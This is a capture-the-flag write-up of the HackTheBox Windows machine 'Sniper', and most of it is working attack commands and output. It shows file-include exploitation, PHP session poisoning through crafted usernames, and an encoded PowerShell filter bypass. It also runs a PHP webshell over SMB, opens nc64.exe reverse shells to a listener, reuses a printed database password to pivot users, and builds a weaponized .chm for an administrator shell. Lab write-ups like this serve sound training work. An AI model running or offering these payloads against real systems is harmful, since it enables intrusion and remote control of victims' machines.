Sniper involved utilizing a relatively obvious file include vulnerability in a web page to get code execution and then a shell. The first privesc was a common credential reuse issue. The second involved poisoning a .chm file to get code execution as the administrator.

Box Stats

Name: Sniper
Release Date: 05 Oct 2019
Retire Date: 28 Mar 2020
OS: Windows
Base Points: Medium [30]
Rated Difficulty:
Radar Graph:
snowscan 00 days, 04 hours, 48 mins, 08 seconds
snowscan 00 days, 05 hours, 22 mins, 10 seconds
Creators: MinatoTW


Because it’s a Windows target, I started working from my Commando Windows VM.


nmap shows HTTP (TCP 80), NetBios/SMB (TCP 135, 139, 445), and an RPC port (TCP 49667) open:

PS > nmap -p- --min-rate 10000 -oA scans\nmap-alltcp
Starting Nmap 7.70 ( ) at 2019-10-06 19:51 GMT Daylight Time
Nmap scan report for
Host is up (0.024s latency).
Not shown: 65530 filtered ports
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49667/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.73 seconds

PS > nmap -p 80,135,139,445 -sV -sC -oA scans\nmap-tcpscripts
Starting Nmap 7.70 ( ) at 2019-10-06 19:53 GMT Daylight Time
Nmap scan report for
Host is up (0.028s latency).

80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h44m35s, deviation: 0s, median: 6h44m35s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-10-07 02:38:34
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 51.58 seconds

Based on the IIS version, it’s Windows 10 or Server 2016/2019.

SMB - TCP 445

SMB without a username or password just gives access denied:

PS > net view
System error 5 has occurred.

Access is denied.

Website - TCP 80


The site is for Sniper Co., what looks to be a delivery company:


The first three links don’t lead anywhere. The “Our services” link points to /blog/index.php, and the “User Portal” link points to /user/index.php.

Directory Brute Force

gobuster doesn’t return anything I didn’t already find above:

PS > gobuster -u -w 'C:\Tools\dirbuster-lists\directory-list-lowercase-2.3-medium.txt' -x php -o scans\gobuster-root-php

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : C:\Tools\dirbuster-lists\directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
2019/10/07 01:37:34 Starting gobuster
/images (Status: 301)
/index.php (Status: 200)
/blog (Status: 301)
/user (Status: 301)44 (0.04%)
/css (Status: 301)7644 (0.20%)
/js (Status: 301)07644 (0.44%)
2019/10/07 02:07:46 Finished


The blog text is just a paragraph about fast delivery times and some Lorem ipsum dummy text. But there’s a bar at the top with options. Most of the links just point back to this page, but the language drop down has links to:


The page is likely doing something like having each of the three language pages in the same directory, and then have PHP that includes it:

include $_GET['lang'];

If the filtering before that isn’t good, there could be a file inclusion vulnerability. I’ll poke at that in the next section.


/user redirects to /user/login.php:


I don’t have creds, but there’s a Sign Up link, which takes me to /user/registration.php:


When I create an account, I’m redirected to the login page. When I log in, there’s just an under construction page:


Shell as iusr



There is a local file include in the lang parameter. It doesn’t work when I try to include something with a relative path, like ..\index.php:


But if I use an absolute path, like \windows\win.ini, the page loads, and I can see the file in the contents at the bottom if I look at the source:


; for 16-bit app support
[mci extensions]


There’s also remote file inclusion vulnerability here. HTTP includes seem to be turned off, likely in the php.ini file where allow_url_include could be off. But SMB includes do work (under the right circumstances). My understanding is that this was an unintended vulnerability by the box makers.

I originally started this box on Commando, but trying to get it to connect to my SMB share always resulted in STATUS_ACCESS_DENIED as I followed in Wireshark:

Wireshark SMB failureClick for full size image

That demonstrates that the server is willing to contact me, but I couldn’t get the authentication working (if you know how I can configure my SMB share to remove all auth, let me know).

On Kali, I tried, and again, Sniper connected to me, but failed to authenticate:

[*] Incoming connection (,57159)
[*] User \SNIPER authenticated successfully
[*] :::00::4141414141414141
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (,57159)
[*] Remaining connections []

However, with Samba, I got it to work. I set /etc/samba/smb.conf to:

path = /srv/samba/
browseable = yes
read only = no
create mask = 777
guest ok = yes
force user = nobody
force group = nogroup

The started the service:

root@kali# service smbd restart
root@kali# service nmbd restart

Permissions are important here. It’s important that the Samba process (running as nobody) can read the file:

root@kali# find srv/ -ls
  2359297      4 drwxr-xr-x   4 root     root         4096 srv/
  2359299      4 drwxrwxrwx   2 nobody   nogroup      4096 srv/samba
  2359300      4 -rwxrwxrwx   1 nobody   nogroup        35 srv/samba/cmd.php
  2359301     48 -rwxrwxrwx   1 root     root        45272 srv/samba/test.txt

text.txt is just a text file with the string 0xdf in it. Now I can include it and see the results:

root@kali# curl -s -G '' --data-urlencode 'lang=\\\share\test.txt' | sed -n '/<\/html>/,/<\/body>/p'

path 1 - LFI


Having found the LFI above, I start to think about where I could write a file on disk. One place is the PHP session file for the /user/ site. The default location on Windows is C:\windows\temp\. I get my session id from Burp, and see, it’s there:

root@kali# curl -s -G '' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr' | tail



Next I tried to register as:

<?php system("whoami") ?>

But when I tried to log in, I get rejected:


There must be some filtering going on at registration. After some playing around, I got this username to login:

a<?php echo `whoami` ?>b

And when I get the session, I can see the results:

root@kali# curl -s -G '' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr' | tail


username|s:24:"ant authority\iusr

I can now register the following to run a dir in the working directory:

a<?php echo `dir` ?>b

Returns (I’ll just show the part I care about, and cut out the surrounding html):

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\inetpub\wwwroot\blog

04/11/2019  05:23 AM    <DIR>          .
04/11/2019  05:23 AM    <DIR>          ..
04/11/2019  05:28 AM             4,341 blog-en.php
04/11/2019  05:28 AM             4,487 blog-es.php
04/11/2019  05:28 AM             4,489 blog-fr.php
04/11/2019  05:23 AM    <DIR>          css
04/11/2019  05:25 AM             1,357 error.html
04/11/2019  05:25 AM             1,331 header.html
04/11/2019  08:31 PM               442 index.php
04/11/2019  05:23 AM    <DIR>          js
               6 File(s)         16,447 bytes
               4 Dir(s)  16,987,619,328 bytes free

Leak Source

I want to get the source for registration.php so I can understand the filters I’m trying to bypass. But when I try to change directories registering as a user with any characters like .. and \, the login fails, presumably because of the filtering again.

I was able to fumble around enough to get this username registered and logged in:

a<?php echo `dir \\inetpub\\wwwroot\\user` ?>b

Now using the LFI returned:

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\inetpub\wwwroot\user

10/01/2019  08:44 AM    <DIR>          .
10/01/2019  08:44 AM    <DIR>          ..
04/11/2019  05:15 PM               108 auth.php
04/11/2019  05:52 AM    <DIR>          css
04/11/2019  10:51 AM               337 db.php
04/11/2019  05:23 AM    <DIR>          fonts
04/11/2019  05:23 AM    <DIR>          images
04/11/2019  06:18 AM             4,639 index.php
04/11/2019  05:23 AM    <DIR>          js
04/11/2019  06:10 AM             6,463 login.php
04/08/2019  11:04 PM               148 logout.php
10/01/2019  08:42 AM             7,192 registration.php
08/14/2019  10:35 PM             7,004 registration_old123123123847.php
04/11/2019  05:23 AM    <DIR>          vendor
               7 File(s)         25,891 bytes
               7 Dir(s)  16,987,619,328 bytes free

I then tried to get the registration.php source, but it seems the . breaks things when I tried:

a<?php echo `type \\inetpub\\wwwroot\\user\\registration.php` ?>b

But, I know that ? isn’t blocked, and that’s a single character wild card. So I register as:

a<?php echo `type \\inetpub\\wwwroot\\user\\registration?php` ?>b

Something about ? wildcards are funky. I couldn’t get that to work. So eventually I registered:

a<?php echo `powershell cat \\inetpub\\wwwroot\\user\\registration*php` ?>b

I got the source for both files. Here’s registration.php:

<!DOCTYPE html>
<meta charset="utf-8">

// If form submitted, insert values into the database.                                                                                                                                                                                
if (isset($_REQUEST['username'])){                                                                                                                                                                                                    
        // removes backslashes                           
        $username = stripslashes($_REQUEST['username']);                                                           
        $username = str_replace('-', '', $username);                                                               
        $username = str_replace('$', '', $username);                                                               
        $username = str_replace('[', '', $username);                                                               
        $username = str_replace('(', '', $username);                                                               
        $username = str_replace('_', '', $username);                                                               
        $username = str_replace('.', '', $username);                                                               
        $username = str_replace(';', '', $username);                                                               
        $username = str_replace('&', '', $username);                                                               
        $username = str_replace('"', '', $username);                                                               
        //escapes special characters in a string         
        $username = mysqli_real_escape_string($con,$username);                                                     
        $email = stripslashes($_REQUEST['email']);       
        $email = mysqli_real_escape_string($con,$email);                                                           
        $password = stripslashes($_REQUEST['password']);                                                           
        $password = mysqli_real_escape_string($con,$password);                                                     
        $trn_date = date("Y-m-d H:i:s");                 
        $query = "INSERT into `users` (username, password, email, trn_date)                                        
VALUES ('$username', '".md5($password)."', '$email', '$trn_date')";                                                
        $result = mysqli_query($con,$query);             

header("Location: login.php");                           

<!DOCTYPE html>                                          
<html lang="en">                                         

        <meta charset="UTF-8">                           
        <meta name="viewport" content="width=device-width, initial-scale=1">                                       
        <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>                                        
        <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">                      
        <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">                                                                                                                              
        <link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">                                  
        <link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">                    
        <link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">                    
        <link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">                              
        <link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">                  
        <link rel="stylesheet" type="text/css" href="css/util.css">                                                
        <link rel="stylesheet" type="text/css" href="css/main.css">                                                

        <div class="limiter">                            
                <div class="container-login100">         
                        <div class="wrap-login100">                                                                
                                <form name="registration" action="" method="post" class="login100-form validate-form">                                                                                                                
                                        <span class="login100-form-title p-b-26">                                  
                                        <span class="login100-form-title p-b-48">                                  
                                                <i class="zmdi zmdi-account-add"></i>                              

                                        <div class="wrap-input100 validate-input" data-validate = "Valid email is: a@b.c">                                                                                                            
                                                <input type="email" name="email" class="input100" type="text" name="email">                                                                                                           
                                                <span class="focus-input100" data-placeholder="Email"></span>                                                                                                                         
                                        <div class="wrap-input100 validate-input" data-validate = "Valid email is: a@b.c">                                                                                                            
                                                <input type="text" name="username" class="input100" type="text" name="email">                                                                                                         
                                                <span class="focus-input100" data-placeholder="Username"></span>                                                                                                                      

                                        <div class="wrap-input100 validate-input" data-validate="Enter password">                                                                                                                     
                                                <span class="btn-show-pass">                                       
                                                        <i class="zmdi zmdi-eye"></i>                              
                                                <input type="password" name="password" class="input100" type="password" name="pass">                                                                                                  
                                                <span class="focus-input100" data-placeholder="Password"></span>                                                                                                                      

                                        <div class="container-login100-form-btn">                                  
                                                <div class="wrap-login100-form-btn">                               
                                                        <div class="login100-form-bgbtn"></div>                    
                                                        <button  type="submit" name="submit" class="login100-form-btn">                                                                                                               

                                        <div class="text-center p-t-115">                                          
                                                <span class="txt1">                                                
                                                        Don't have an account?                                     

                                                <a class="txt2" href="#">                                          
                                                        Sign Up                                                    

        <div id="dropDownSelect1"></div>                 

        <script src="vendor/jquery/jquery-3.2.1.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                     
        <script src="vendor/animsition/js/animsition.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                
        <script src="vendor/bootstrap/js/popper.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                         
        <script src="vendor/bootstrap/js/bootstrap.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                  
        <script src="vendor/select2/select2.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                         
        <script src="vendor/daterangepicker/moment.min.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                  
        <script src="vendor/daterangepicker/daterangepicker.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                             
        <script src="vendor/countdowntime/countdowntime.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                                                                                                                 
        <script src="js/main.js" type="5614ef5d2b005421f12fe64f-text/javascript"></script>                         

        <?php } ?>                                       


I can’t use and of: -$[(_.;&"\. I’ve already got PowerShell execution working through this:

<?php echo `powershell [command]` ?>     

I need a command I can put in that doesn’t use any of the banned characters.

Some of the things I tried that failed:

  • Creating a UNC path to run off my SMB server using IPv6. It doesn’t work, because IPv6s in UNC paths have the : replaced by -.
  • Finding and trying to poison \programdata\data\sniper\users.ibd, which is a backup of the users database. It has not only my username by the email address, which is less filtered. I had a lot of trouble getting this file to include, though I know of at least one person who was able to make this work.

This would all be easier if I could run a base64-encoded command. Typically I think of doing that by running powershell -enc [base64-string]. But it also works with /enc.

I’ll make the command, making sure to convert to 16-bit unicode characters with iconv:

root@kali# echo 'cmd /c "\\\share\nc64.exe -e cmd 443"' | iconv -f ascii -t utf-16le | base64 -w0

Now, I’ll register as:


Once I log in, I can include the session data:

root@kali# curl -s -G '' --data-urlencode 'lang=\windows\temp\sess_8l44h398eccsi698nj5he5k2cr'

This just hangs, but I’ve got a shell on my listener:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\iusr

path 2 - RFI

With the RFI identified earlier, I can include a simple PHP webshell, cmd.php:

<?php system($_REQUEST['cmd']); ?>

Now I can request that shell, and include a cmd parameter:

root@kali# curl -s -G '' --data-urlencode 'lang=\\\share\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'                       
nt authority\iusr

To get a shell, I’ll just include a command to run nc64.exe from the same Samba share:

root@kali# curl -s -G '' --data-urlencode 'lang=\\\share\cmd.php' --data-urlencode 'cmd=\\\share\nc64.exe -e cmd 443'

And I get a callback:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\iusr

Priv: iusr –> Chris


Looking around, there are creds for the database in the PHP:

C:\inetpub\wwwroot\user>type db.php
type db.php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  echo "Failed to connect to MySQL: " . mysqli_connect_error();


I know the other user on the box is Chris from the \users\ directory, so I’ll try to run as them using PowerShell. First I’ll open PowerShell:


Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\>

Now I can run as Chris, and it works:

PS C:\> hostname
PS C:\> $user = "Sniper\Chris"
PS C:\> $pass = "36mEAhz/B8xQ~2VM"
PS C:\> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\> $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
PS C:\> Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

This means the creds are good, and that Chris is in the “Remote Management Users” group, as I can verify:

PS C:\> net user chris
User name                    Chris
Full Name                    
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            4/11/2019 6:53:37 AM
Password expires             Never
Password changeable          4/11/2019 6:53:37 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/10/2019 5:53:48 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users                
Global Group memberships     *None                 
The command completed successfully.

Now I can use that same PowerShell to get user.txt:

PS C:\inetpub\wwwroot\user> Invoke-Command -ScriptBlock { type \users\chris\desktop\user.txt } -Credential $cred -Computer localhost


To turn that into a shell, chris can run nc:

PS C:\> Invoke-Command -ScriptBlock { \\\share\nc64.exe -e cmd 443 } -Credential $cred -Computer localhost

And get a callback on my listener (always using rlwrap for Windows):

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.


Priv: Chris –> Administrator


In the root of the C drive there’s a folder \docs that iusr wasn’t able to access, but chris can. It contains several files:

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Docs

10/09/2019  06:54 PM    <DIR>          .
10/09/2019  06:54 PM    <DIR>          ..
04/11/2019  09:31 AM               285 note.txt
04/11/2019  09:17 AM           552,607 php for dummies-trial.pdf
               2 File(s)        552,892 bytes
               2 Dir(s)  17,957,249,024 bytes free

note.txt talks about dropping documentation in this folder:

C:\Docs>type note.txt
type note.txt
Hi Chris,
  Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Sniper CEO.

In Chris’ Downloads folder, there’s a doc.chm:

 Volume in drive C has no label.
 Volume Serial Number is 6A2B-2640

 Directory of C:\Users\Chris\Downloads

04/11/2019  08:36 AM    <DIR>          .
04/11/2019  08:36 AM    <DIR>          ..
04/11/2019  08:36 AM            10,462 instructions.chm
               1 File(s)         10,462 bytes
               2 Dir(s)  17,685,372,928 bytes free

.chm files are Windows help files, so that could be the documentation that the CEO was talking about. I’ll copy this back to a Windows VM and check it out:


Weaponize .chm

Nishang has a tool, Out-CHM, which makes weaponized .chm files. I’ll load it into my PowerShell session:

PS > Import-Module .\Tools\nishang\Client\Out-CHM.ps1

Now I can call it. I’ll need to pass it the path the HTML Help Workshop (and I can install it if it’s not already installed), and it will write doc.chm in my current director. I’ll have it run nc out of an AppLocker safe directory:

PS > Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 443" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\Tools\nishang\doc.chm

Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics

Created c:\Tools\nishang\doc.chm, 13,458 bytes
Compression increased file by 266 bytes.


Now I’ll move the result back to my Kali VM, into the Samba share, and then copy it over to Sniper:

C:\Docs>copy \\\share\doc.chm .
        1 file(s) copied.

I’ll copy nc64.exe over as well:

C:\Docs>copy \\\share\nc64.exe \windows\system32\spool\drivers\color\
        1 file(s) copied.  

In less than a minute:

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.


And then I can grab root.txt:

C:\Users\Administrator\Desktop>type root.txt